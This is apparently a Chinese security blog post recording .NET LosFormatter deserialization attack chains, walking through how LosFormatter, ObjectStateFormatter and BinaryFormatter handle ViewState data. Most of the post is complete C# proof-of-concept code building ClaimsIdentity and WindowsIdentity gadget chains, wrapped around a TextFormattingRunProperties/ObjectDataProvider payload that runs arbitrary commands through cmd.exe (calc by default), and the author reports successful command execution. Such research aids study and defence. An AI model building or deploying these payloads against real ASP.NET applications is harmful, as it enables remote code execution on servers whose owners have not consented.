LosFormatter反序列化链

前言:记录LosFormatter反序列化链

参考文章:https://xz.aliyun.com/t/9597
参考文章:https://www.anquanke.com/post/id/176786

LogFormatter

LosFormatter封装在System.Web.dll中,命名空间为System.Web.UI。

LosFormatter一般也是用于序列化和反序列化Web窗体页的视图状态(ViewState),如果要把ViewState通过数据库或其他持久化设备来维持,则需要采用特定的LosFormatter类来序列化/反序列化

微软官方的阐述是有限的对象序列化(LOS)格式专门为高度精简的ASCII格式序列化,此类支持序列化的任何对象图。

无参数的构造函数表示不使用"启用mac"和"mac密钥修饰符"来初始化LosFormatter。

两个参数的构造方法表示使用"启用mac"和"mac密钥修饰符"来初始化LosFormatter。

注意:使用LosFormatter序列化对象仍需要标记[Serializable]

LosFormatter简单的示例代码,如下所示

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
namespace SerializationCollection
{
class Program
{
[Serializable]
class Person
{
private string name;
public string Name
{
get { return name; }
set { name = value; }
}
private int age;
public int Age
{
get { return age; }
set { age = value; }
}
public Person(string name, int age)
{
Name = name;
Age = age;
}
public void SayHello()
{
Console.WriteLine("hello");
}
}
static void Main(string[] args)
{
LosFormatter losFormatter = new LosFormatter();
using (MemoryStream memory = new MemoryStream())
{
losFormatter.Serialize(memory, new Person("jack", 15));
memory.Position = 0;
Person p = (Person)losFormatter.Deserialize(memory);
p.SayHello();
Console.WriteLine(Encoding.UTF8.GetString(memory.ToArray()));
}
Console.ReadKey();
}
}
}

LosFormatter序列化和反序列化的过程

这里可以通过dnspy来进行调试,如下所示

序列化过程

这边Serialize函数跟进去

来到Serialize(Stream stream, object value)

跟进this.SerializeInternal(textWriter, value);,SerializeInternal主要进行序列化过程

继续跟进this._formatter.Serialize(value);,stateGraph是要序列化的对象,这里的话就是Person对象

this.Serialize(memoryStream, stateGraph);,下面的图中可以看到最终序列化是通过ObjectStateFormatter来进行的

继续在序列化当前Person对象的name字段的时候,这里的话就会用到BinaryFormatter对象

最后将序列化完的数据进行base64编码进行返回,如下所示

反序列化过程

反序列化的时候首先会进行base64解码的操作

对应的也会使用到ObjectStateFormatter和BinaryFormatter来进行反序列化操作

ClaimsIdentity利用链

代码参考:https://github.com/microsoft/referencesource/blob/5697c29004a34d80acdaf5742d7e699022c64ecd/mscorlib/system/security/claims/ClaimsIdentity.cs

ClaimsIdentity中有多种触发方式,其中一种是利用自身的m_bootstrapContext字段,如果m_bootstrapContext存在的话那么在序列化的过程的就会将该字段写入

反序列化利用测试代码如下所示

using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;
using System.Security.Claims;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;
namespace SerializationCollection
{
class Program
{
static void Main(string[] args)
{
LosFormatter losFormatter = new LosFormatter();
using (MemoryStream memory = new MemoryStream())
{
TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal();
My my = new My();
my.o = textFormattingRunPropertiesMarshal;
losFormatter.Serialize(memory, my);
memory.Position = 0;
losFormatter.Deserialize(memory);
}
Console.ReadKey();
}
}
[Serializable]
public class My
{
public object o;
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
public static string gadget(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
return XamlWriter.Save(odp);
}
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
_xaml = gadget(cmd);
}
public TextFormattingRunPropertiesMarshal()
{
_xaml = gadget("calc");
}
}
}

堆栈调用过程如下所示,可以看到反序列化的时候LogFormatter->ObjectStateFormatter->BinaryFormatter

最终触发TextFormattingRunProperties的攻击链,如下所示

WindowsIdentity利用链

命名空间位于:System.Security.Principal,WindowsIdentity继承了ClaimsIdentity对象

反序列化构造函数和序列化函数GetObjectData的实现

从上面可以看到在调用反序列化构造函数的时候,会调用父类的反序列化构造函数

继续跟进去 Deserialize(info, default(StreamingContext), useContext: false);,可以发现有三处地方都会通过BinaryFormatter来进行反序列化操作

反序列化的对象分别是System.Security.ClaimsIdentity.actor,System.Security.ClaimsIdentity.claims,System.Security.ClaimsIdentity.bootstrapContext

因为这边还是通过BinaryFormatter来进行反序列化操作的,所以这边同样可以进行利用TextFormattingRunProperties即可

反序列化测试代码如下

using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Formatters.Soap;
using System.Security.Claims;
using System.Security.Principal;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;
namespace SerializationCollection
{
class Program
{
static void Main(string[] args)
{
LosFormatter losFormatter = new LosFormatter();
BinaryFormatter bf = new BinaryFormatter();
using (MemoryStream memory = new MemoryStream())
{
TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal();
bf.Serialize(memory, textFormattingRunPropertiesMarshal);
string b64payload = Convert.ToBase64String(memory.ToArray());
WindowsIdentityIdentityMarshal windowsIdentityIdentityMarshal = new WindowsIdentityIdentityMarshal(b64payload);
memory.Position = 0;
losFormatter.Serialize(memory, windowsIdentityIdentityMarshal);
memory.Position = 0;
losFormatter.Deserialize(memory);
}
Console.ReadKey();
}
}
[Serializable]
public class WindowsIdentityIdentityMarshal : ISerializable
{
public WindowsIdentityIdentityMarshal(string b64payload)
{
B64Payload = b64payload;
}
private string B64Payload { get; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(WindowsIdentity));
info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload);
info.AddValue("System.Security.ClaimsIdentity.bootstrapContext", B64Payload);
info.AddValue("System.Security.ClaimsIdentity.claims", B64Payload);
}
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
public static string gadget(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
return XamlWriter.Save(odp);
}
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
_xaml = gadget(cmd);
}
public TextFormattingRunPropertiesMarshal()
{
_xaml = gadget("calc");
}
}
}

测试结果如下所示,可以成功反序列化命令执行

SessionSecurityToken利用链

先放着先,感觉有点复杂

posted @   zpchcbd  阅读(130)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示